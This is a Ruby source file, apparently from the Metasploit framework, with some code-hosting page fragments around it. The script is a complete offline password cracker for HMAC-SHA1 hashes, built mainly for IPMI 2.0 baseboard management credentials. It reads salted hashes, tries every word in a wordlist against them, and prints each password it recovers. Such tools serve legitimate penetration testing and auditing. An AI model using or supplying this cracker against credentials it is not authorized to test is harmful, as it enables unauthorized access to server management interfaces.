|
||||
# This script cracks HMAC SHA1 hashes. It is strangely necessary as existing tools
|
||||
# have issues with binary salt values and extremely large salt values. The primary
|
||||
# goal of this tool is to handle IPMI 2.0 HMAC SHA1 hashes.
|
||||
#
|
||||
# Support for this format is being added to both hashcat and jtr, hopefully
|
||||
# making this code obsolete.
|
||||
#
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
|
||||
require 'fastlib'
|
||||
require 'msfenv'
|
||||
|
||||
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
|
||||
|
||||
require 'rex'
|
||||
require 'openssl'
|
||||
|
||||
def usage
|
||||
$stderr.puts("\nUsage: #{$0} hashes.txt <wordlist | - >\n")
|
||||
$stderr.puts("The format of hash file is <identifier>:<hex-salt>:<hash>\n\n")
|
||||
exit
|
||||
end
|
||||
|
||||
|
||||
hash_inp = ARGV.shift || usage()
|
||||
word_inp = ARGV.shift || usage()
|
||||
|
||||
usage if [hash_inp, word_inp].include?("-h") or [hash_inp, word_inp].include?("--help")
|
||||
|
||||
hash_fd = ::File.open(hash_inp, "rb")
|
||||
word_fd = $stdin
|
||||
|
||||
if word_inp != "-"
|
||||
word_fd = ::File.open(word_inp, "rb")
|
||||
end
|
||||
|
||||
hashes = []
|
||||
hash_fd.each_line do |line|
|
||||
next unless line.strip.length > 0
|
||||
h_id, h_salt, h_hash = line.unpack("C*").pack("C*").strip.split(':', 3)
|
||||
|
||||
unless h_id and h_salt and h_hash
|
||||
$stderr.puts "[-] Invalid hash entry, missing field: #{line}"
|
||||
next
|
||||
end
|
||||
unless h_salt =~ /^[a-f0-9]+$/i
|
||||
$stderr.puts "[-] Invalid hash entry, salt must be in hex: #{line}"
|
||||
next
|
||||
end
|
||||
hashes << [h_id, [h_salt].pack("H*"), [h_hash].pack("H*") ]
|
||||
end
|
||||
hash_fd.close
|
||||
|
||||
|
||||
stime = Time.now.to_f
|
||||
count = 0
|
||||
cracked = 0
|
||||
|
||||
word_fd.each_line do |line|
|
||||
# Preferable to strip so we can test passwords made of whitespace (or null)
|
||||
line = line.unpack("C*").pack("C*").sub(/\r?\n?$/, '')
|
||||
hashes.each do |hinfo|
|
||||
if OpenSSL::HMAC.digest('sha1', line.to_s, hinfo[1]) == hinfo[2]
|
||||
$stdout.puts [ hinfo[0], hinfo[1].unpack("H*").first, hinfo[2].unpack("H*").first, line.to_s ].join(":")
|
||||
$stdout.flush
|
||||
hinfo[3] = true
|
||||
cracked += 1
|
||||
end
|
||||
count += 1
|
||||
|
||||
if count % 2500000 == 0
|
||||
$stderr.puts "[*] Found #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)"
|
||||
end
|
||||
end
|
||||
hashes.delete_if {|e| e[3] }
|
||||
break if hashes.length == 0
|
||||
|
||||
end
|
||||
word_fd.close
|
||||
|
||||
$stderr.puts "[*] Cracked #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)"
|
Loading…
Reference in New Issue